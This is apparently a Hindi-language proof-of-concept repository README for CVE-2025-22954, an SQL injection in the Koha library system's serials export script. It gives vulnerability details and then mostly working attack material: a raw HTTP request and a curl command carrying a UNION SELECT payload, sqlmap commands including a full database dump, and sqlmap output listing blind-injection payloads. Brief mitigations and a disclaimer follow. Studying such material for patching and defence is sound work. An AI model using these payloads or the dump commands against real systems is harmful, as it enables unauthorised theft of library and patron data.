
Koha CVE-2025-22954: lateissues-export.pl में SQL इंजेक्शन
यह रिपॉजिटरी CVE-2025-22954 के लिए एक प्रूफ ऑफ कॉन्सेप्ट प्रदान करती है, जो कोहा के संस्करण 24.11.02 से पहले के संस्करणों में एक गंभीर (CVSS 10.0) SQL इंजेक्शन भेद्यता है। यह भेद्यता C4/Serials.pm में GetLateOrMissingIssues फ़ंक्शन में मौजूद है, जिसे /serials/lateissues-export.pl स्क्रिप्ट द्वारा कॉल किया जाता है। इस भेद्यता का शोषण supplierid या serialid पैरामीटर्स के माध्यम से किया जा सकता है।
| CVE ID | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (Critical) |
| EPSS Score | 0.03% (Top 5.26%) |
| Published | March 12, 2025 |
| Fixed in | Koha 24.11.02 |
| Bug Reference | Koha Bug #38829 |
| Release Notes | Koha 24.11.02 Release |
यह भेद्यता lateissues-export.pl स्क्रिप्ट में supplierid और serialid पैरामीटर्स में उपयोगकर्ता इनपुट के असुरक्षित हैंडलिंग से उत्पन्न होती है, जो C4/Serials.pm में GetLateOrMissingIssues फ़ंक्शन को भेजा जाता है। फ़ंक्शन SQL क्वेरी में उपयोग करने से पहले इन इनपुट को ठीक से सैनिटाइज़ या पैरामीटराइज़ नहीं करता, जिससे SQL इंजेक्शन हमले संभव होते हैं।
भेद्य स्क्रिप्ट (lateissues-export.pl) में निम्नलिखित कोड है:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
C4/Serials.pm में GetLateOrMissingIssues फ़ंक्शन में संभवतः भेद्य SQL क्वेरी निर्माण है जहाँ $supplierid और $serialid पैरामीटर्स बिना उचित पैरामीटराइज़ेशन के सीधे SQL स्टेटमेंट में जोड़ दिए जाते हैं।
यह प्रूफ ऑफ कॉन्सेप्ट दर्शाता है कि कैसे एक प्रमाणित उपयोगकर्ता, जिसके पास सीरियल्स मॉड्यूल तक पहुंच है, इस भेद्यता का शोषण करके कोहा डेटाबेस से संवेदनशील डेटा निकाल सकता है या अंतर्निहित डेटाबेस सिस्टम तक अनधिकृत पहुंच प्राप्त कर सकता है।
lateissues-export.pl स्क्रिप्ट तक पहुंचभेद्यता का शोषण करने के लिए निम्नलिखित रॉ HTTP अनुरोध का उपयोग किया जा सकता है:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap का उपयोग इस भेद्यता के शोषण को स्वचालित करने के लिए किया जा सकता है। पहले, मान्य प्रमाणीकरण कुकीज़ के साथ भेद्य एंडपॉइंट पर एक अनुरोध कैप्चर करें, फिर SQLMap का उपयोग इंजेक्शन पॉइंट का शोषण करने के लिए करें।
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
उदाहरण request.txt फ़ाइल:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
आप SQLMap के साथ सीधे भी भेद्यता का शोषण कर सकते हैं:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
यह भेद्यता एक प्रमाणित हमलावर को अनुमति देती है:
कोहा संस्करण 24.11.02 या बाद के संस्करण में अपडेट करें, जिसमें इस भेद्यता के लिए फिक्स शामिल है।
यदि तत्काल अपडेट संभव नहीं है, तो निम्नलिखित अस्थायी शमन उपायों पर विचार करें:
/serials/lateissues-export.pl स्क्रिप्ट तक पहुंच केवल विश्वसनीय IP पतों तक सीमित करेंGetLateOrMissingIssues फ़ंक्शन में SQL क्वेरी को ठीक से पैरामीटराइज़ करने के लिए C4/Serials.pm फ़ाइल को संशोधित करेंयह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है। किसी भी सिस्टम की भेद्यता परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। इस प्रूफ ऑफ कॉन्सेप्ट का उपयोग केवल उन सिस्टमों पर किया जाना चाहिए जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है।